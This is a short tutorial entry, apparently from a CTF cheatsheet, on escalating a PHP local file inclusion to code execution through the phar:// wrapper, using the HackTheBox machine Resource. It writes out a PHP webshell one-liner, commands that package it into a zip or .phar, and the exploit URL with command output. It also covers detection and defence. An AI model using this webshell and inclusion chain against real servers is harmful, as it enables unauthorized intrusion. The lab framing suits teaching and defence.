PHAR Deserialization (LFI to RCE)
Full command arsenal in the cheatsheetWhen a PHP application includes a file from user input, e.g. include($_GET['page'].".php"), we have an LFI. On its own it lets you read files, but PHP supports stream wrappers and one of them, phar://, turns it into code execution.
A PHAR (PHP Archive) is a container (it can be a plain ZIP) holding PHP files inside. The phar://path.zip/file wrapper accesses a file inside the archive. If the application lets us upload a file (even with a different extension, like a .zip attached to a ticket), we can put a shell.php inside and then include it with the wrapper:
// shell.php inside the zip
<?php system($_GET["cmd"]); ?># build the archive (a plain ZIP is enough; the phar:// wrapper opens it anyway)
echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.zip shell.php
# alternative: generate a real .phar
php --define phar.readonly=0 -r '$p=new Phar("shell.phar");$p->startBuffering();$p->addFromString("shell.php","<?php system($_GET[cmd]); ?>");$p->setStub("<?php __HALT_COMPILER();");$p->stopBuffering();'The exploitation flow is:
- Create
shell.phpwithsystem($_GET['cmd'])and zip it. - Upload it through legitimate functionality (here, attaching it to a ticket). The server stores it in
uploads/under a derived name (e.g. itssha1sum). - Include it with the wrapper pointing at the inner file (without the extension, since the code already adds
.php):
http://itrc.ssg.htb/?page=phar://uploads/<sha1>.zip/shell&cmd=idThe include resolves phar://uploads/<sha1>.zip/shell.php, runs the code and returns the output of id → uid=33(www-data). We have a webshell.
Why it works. The mistake is twofold: including from user input and allowing uploads that can later be interpreted as code. The phar:// wrapper bypasses "the uploaded file isn't served as PHP", because it isn't served: it's included from inside the archive. (Historically, phar:// also deserializes the archive's metadata, opening another RCE path with gadgets; here direct inclusion is enough.)
How to detect it. The access-log signature is an inclusion parameter with the phar:// scheme (page=phar://uploads/...), which no legitimate flow uses; a WAF inspecting PHP wrappers flags it. Correlate with the prior upload: a freshly uploaded .zip/.jpg in uploads/ whose real content is a PHAR archive (PK/__HALT_COMPILER header) is the other end of the chain (FIM over the upload directory). On the host, the web process opening a .zip from uploads/ via a stream and then spawning sh/bash confirms execution (auditd/Sysmon for Linux with the web process as ppid).
Defence. Don't include files from user input (whitelist pages); store uploads outside the web root with unpredictable names; disable dangerous wrappers and validate the type and content of what's uploaded.
Machines where it's used
- ResourceHackTheBox